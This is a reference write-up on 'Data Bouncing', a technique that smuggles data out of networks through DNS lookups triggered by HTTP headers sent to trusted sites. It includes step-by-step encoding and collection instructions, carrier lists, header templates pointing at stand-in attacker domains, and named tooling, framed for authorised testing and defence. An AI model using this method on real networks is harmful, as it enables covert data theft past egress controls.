Reference Document

Data Bouncing

Indirect exfiltration: ordinary HTTPS requests to trusted domains, abused as a second-order DNS transport.

First published on thecontractor.io, 11 September 2023 · databouncing.io since April 2024 · JC and Dave Mound
1

Summary

For leadership and non-specialists

Data bouncing smuggles data out of a network inside ordinary HTTPS requests to trusted domains. The payload rides not in the request but in the DNS lookups those requests trigger — a second-order transport that egress controls, keyed on the trusted destination, never inspect.

The data is written into a hostname and placed in an ordinary web request to a reputable site — a CDN, a security scanner, a sign-up form. In handling that request the service resolves the hostname in DNS, and the lookup delivers the data to a name server the attacker controls. The request to the trusted site can even fail; the lookup has already left.

To the organisation it is traffic to a service it uses every day, going to a destination it trusts.

Why it matters

Filtering egress by destination no longer proves intent: the request goes to a provider you rely on, and the payload rides in a field that is rarely inspected.

There is no clean product fix. The service doing the resolving — often a CDN or a security tool — may itself be the carrier.

The method is dual use: it serves data theft and command-and-control, and it serves people moving information out of a censored or hostile place.

2

How it works

Practitioner

Data bouncing solicits a DNS resolution from a system you don't control and carries the payload in the name being resolved.

A hostname is a series of labels: c12.exfil.example. The attacker owns the domain and writes a chunk of data into a label beneath it. When any downstream service resolves that name, the authoritative name server for exfil.example — the attacker's — receives the query, and with it the chunk.

  1. Encode. Split the file into numbered chunks. Write each as a label beneath your domain.
  2. Carry. Place the hostname in a request field a downstream service will act on — most reliably the Host header — and send it to a high-reputation domain.
  3. Bounce. The service resolves the hostname. At a CDN edge it appears to resolve the Host value before the origin or application layer is reached — inferred from requests that returned an error while a lookup still reached the listener — so a failed response is no sign the data stayed in.
  4. Collect. The query lands on your authoritative name server and the label is read off. The egress control saw only TCP to a trusted apex; the data left as a UDP/53 query.
  5. Rebuild. Reassemble the chunks by number.
Exfil system Trusted web service Attacker name server HTTP request resolve c1 resolve c2 resolve c3 HTTP response reassembled by number hostname lookup solicitation · UDP/53 each query hands its chunk to the name server discarded Host: c1.exfil.example X-Forwarded-For: c2.exfil.example Referer: c3.exfil.example c1 c2 c3 → secret.txt
One request carries three chunks, one per header. The trusted service resolves each, firing three lookups that hand c1, c2 and c3 to the attacker's name server; the HTTP response is discarded. Throughput scales with more headers and more requests.
When the lookup fires

Sometimes the site you call resolves the hostname as it handles the request. Sometimes the value is stored and resolved later by another system — an email address whose domain is looked up when a verification message is sent, say. Either way the lookup happens, and the chunk leaves with it.

First sighting

The method was first noticed against tile-service.weather.microsoft.com: a Host-header issue long dismissed as not-applicable. The request drew an Akamai Ghost error page, yet a lookup for the crafted host still reached the listener — the data had left out of band, the failed response notwithstanding.

3

Why it matters

Leadership · practitioner

Domain trust, as a control, is no longer meaningful against this technique.

Filtering egress by destination was a fair control for a long time: the destination told you most of what you needed. Data bouncing breaks that assumption.

4

Carriers and variants

Deep technical

A carrier is any field whose value becomes a hostname that something later resolves. Headers are the broadest and easiest to work with; the rest reward looking.

HTTP headers
The primary class. Beyond Host: X-Forwarded-For, Referer, Forwarded, True-Client-IP, X-Real-IP, CF-Connecting-IP, X-Originating-IP and other forwarding headers. Demonstrated on GET, but the principle holds across verbs and across HTTP/1, 2 and 3.
Link previews
Unfurlers in chat and social tools resolve a pasted link's hostname to build the preview — the lookup can fire on paste, before anything is sent.
Web-fetch scanners
URL and site-reputation services fetch what you submit and must resolve it first: URL scanners, translators, site-review and safety-check tools. Slower to find, useful when headers are closed off.
Email sign-up
A registration form takes an email address; sending the confirmation forces a lookup of the address domain, even if no mailbox exists.
Request parameters
A hostname processed inside a parameter, as with server-side request forgery or an open redirect. Surgeon targets a single position; breaking up and reassembling the file is on the tester.

The rule is simple: if it resolves a name, it probably has utility. Note that a firewall may block the HTTP request after the DNS query has already bolted.

5

Testing for it

Deep technical

Testing your own exposure has three parts: a sender, a listener for the lookups, and a list of candidate domains.

A listener

You need to receive the DNS queries out of band. Lightest first:

A sender and a target list

The sender fires a request at each domain in a list of high-reputation names — the Majestic Million is a ready corpus — tagging each candidate field with its position (which header) and its origin (which domain), so a single callback names both.

Host:             host.<target-domain>.<your-oob-domain>
X-Forwarded-For:  xff.<target-domain>.<your-oob-domain>
Referer:          https://ref.<target-domain>.<your-oob-domain>

A lookup for xff.google.com.oob.com then tells you the X-Forwarded-For position resolved, reached via google.com. Those are your candidates.

Published tooling

Reference implementations
ToolByNotes
RecruiterJC and Dave MoundFinds candidates: sends to a domain list, tags origin and position.
DataBouncing (Python)Nick DunnFirst reliable set — four scripts to send and rebuild.
DataBouncing (PowerShell)Jakoby, Unit-259nightCrawler.ps1 sends; deadPool.ps1 rebuilds. Hex in the hostname; defaults to public Interactsh.
SurgeonJC and Dave MoundBash. Sends one position for parameter-style carriers; reassembly is manual.
Scope

Only test systems you are authorised to test. Where a tool sends a single position, the chunk order and reassembly are the tester's responsibility.

6

Observed technologies

Deep technical

From a dataset of roughly 15 million observations (May 2024), the table below lists the server technologies seen performing lookups. It records that the technology was seen; it does not state why the lookup happened.

Top server technologies by observation count
RankServerObservations
1nginx39,184
2Beaver26,785
3Apache22,303
4AkamaiGHost9,336
5ADM7,211
6LegoServer5,478
7Microsoft-IIS4,677
8Microsoft-HTTPAPI3,967
9Tengine2,970
10Varnish2,206
16cloudflare378

nginx leads by more than double the next. More than 100 server types appear in all, including content delivery networks, security servers and cloud services. The count falls away sharply after the top three.

7

For defenders

Practitioner

There is no clean fix. Removing the ability to resolve user-supplied hostnames — including those handled by second-order systems — is an architectural dealbreaker for most, so the technique is likely to persist. Detection is the realistic control, and it is hard: many listeners, many targets, many headers and variable timing make it, in the author's phrase, not cat-and-mouse but several cats to your one mouse.

In the project's own data, one provider stood out as much less susceptible:

Cloudflare are much less susceptible when we look at our data … if you had to choose a WAF/CDN, we would recommend Cloudflare just because of how low its databouncing numbers are. — databouncing.io
8

Notes & credits

Interesting technique. Believe Cloudflare is going public with an analysis of this as well. — Rob Joyce, NSA (at the time), 10 October 2023
Vendor responses

Akamai, whose Ghost response header appeared on roughly a fifth of the initial sweep, treated it as a monitoring-and-detection matter: “there is no mitigating the problem without overhauling how the Internet works” (Kaan Onarlioglu, Principal Architect, InfoSec). Microsoft's MSRC declined it as not meeting the bar for servicing. One unnamed EDR vendor called it a non-issue; a UK defence provider is reported to defend against it.

Prior art

The closest existing framing is the Confused Deputy (CWE-441): a trusted intermediary acting on attacker-supplied input without preserving its origin. It shares the “living off trusted sites” spirit, but without touching the trusted domain's own web application, and it spreads across large domain namespaces.

Data Bouncing was first published by John Carroll (JC) on thecontractor.io on 11 September 2023, with Dave Mound, whose own research took the method into C2 and the large-scale analysis. The dedicated site databouncing.io launched in April 2024. The first reliable Python tooling was written by Nick Dunn; the PowerShell tooling by Jakoby (Unit-259). The aim of the work is to force a response, and force improvement.

Reference material for authorised security testing, defence and research. Only test systems you are permitted to test. Figures and quotations are reproduced from the original publication.

Watch & read